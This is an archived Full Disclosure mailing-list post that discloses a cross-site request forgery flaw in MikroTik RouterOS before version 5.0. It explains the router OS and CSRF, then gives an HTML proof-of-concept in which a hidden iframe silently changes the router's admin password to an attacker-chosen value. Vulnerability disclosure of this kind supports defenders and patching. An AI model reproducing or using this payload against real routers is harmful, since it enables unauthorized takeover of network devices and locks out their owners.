full-disclosure - [FD] MikroTik RouterOS Admin Password Change CSRF

Open Source and information security mailing list archives

Message-ID: <CAHu6=a7BhWr2YwbUD6Q5OcAAGUAaPHpU-TDZ+SHfN38UgosUmA@mail.gmail.com>
Date: Sun, 8 Mar 2015 02:15:05 +0200
From: "Mohamed A. Baset" <symbian2010@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] MikroTik RouterOS Admin Password Change CSRF

# Exploit Title: MikroTik RouterOS Admin Password Change CSRF
# Google Dork: N/A
# Date: 23-2-2015
# Exploit Author: Mohamed Abdelbaset Elnoby (@SymbianSyMoh)
# Vendor Homepage: http://www.mikrotik.com
<http://s.bl-1.com/h/mPRbq77?url=http://www.mikrotik.com/>/
# Software Link: http://www.mikrotik.com/download
<http://s.bl-1.com/h/mPRbvX9?url=http://www.mikrotik.com/download>
# Version: All versions < 5.0
# Tested on: All OS
# CVE : N/A

What is MikroTik RouterOS?!
MikroTik RouterOS is an operating system based on the Linux kernel, known
as the MikroTik RouterOS. Installed on the company's proprietary hardware
(RouterBOARD series), or on standard x86-based computers, it turns a
computer into a network router and implements various additional features,
such as firewalling, virtual private network (VPN) service and client,
bandwidth shaping and quality of service, wireless access point functions
and other commonly used features when interconnecting networks. The system
is also able to serve as a captive-portal-based hotspot system.
__"Wikipedia"

What is CSRF Attack?!
Cross-Site Request Forgery (CSRF) is an attack which forces an end user to
execute unwanted actions on a web application in which he/she is currently
authenticated. CSRF attacks specifically target state-changing requests,
not theft of data, since the attacker has no way to see the response to the
forged request. With a little help of social engineering (like sending a
link via email/chat), an attacker may trick the users of a web application
into executing actions of the attacker's choosing. If the victim is a
normal user, a successful CSRF attack can force the user to perform state
changing requests like transfering funds, changing their email address,
etc. If the victim is an administrative account, CSRF can compromise the
entire web application.
__"OWASP"

Affected Versions:
All MikroTik RouterOS versions before v5.0

PoC Code:
<html>
<body>
<title>MikroTik RouterOS < v4 Admin Password Change CSRF
Vulnerability</title>
<h1><b>MikroTik RouterOS < v4 Admin Password Change CSRF Vulnerability by
@SymbianSyMoh</b></h1></br>
<input type="submit" value="Do it" onclick="var
btn=document.createElement('IFRAME');btn.src='
http://192.168.0.2/cfg?page=status&counter=1000&process=password&password1=Pwn3D2015&password2=Pwn3D2015&button=ok';btn.width='0';btn.height='0';btn.id='myIframe';document.body.appendChild(btn);alert('Pwned')
;"></br>
</body>
</html>

Video PoC:
http://youtu.be/FHrvHJeLjLA

-- 
*Best Regards**,**,*

*Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist
& Bug Bounty Hunter.
LinkedIn
<http://s.bl-1.com/h/mPRb0wC?url=https://www.linkedin.com/in/symbiansymoh>Curriculum
Vitae <http://s.bl-1.com/h/mPRb4KF?url=http://goo.gl/cNrVpL>
<http://s.bl-1.com/h/mPRb9kH?url=https://www.linkedin.com/in/symbiansymoh>
Facebook
<http://s.bl-1.com/h/mPRbF6K?url=https://fb.com/symbiansymoh>Twitter
<http://s.bl-1.com/h/mPRbKWM?url=https://twitter.com/symbiansymoh>

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives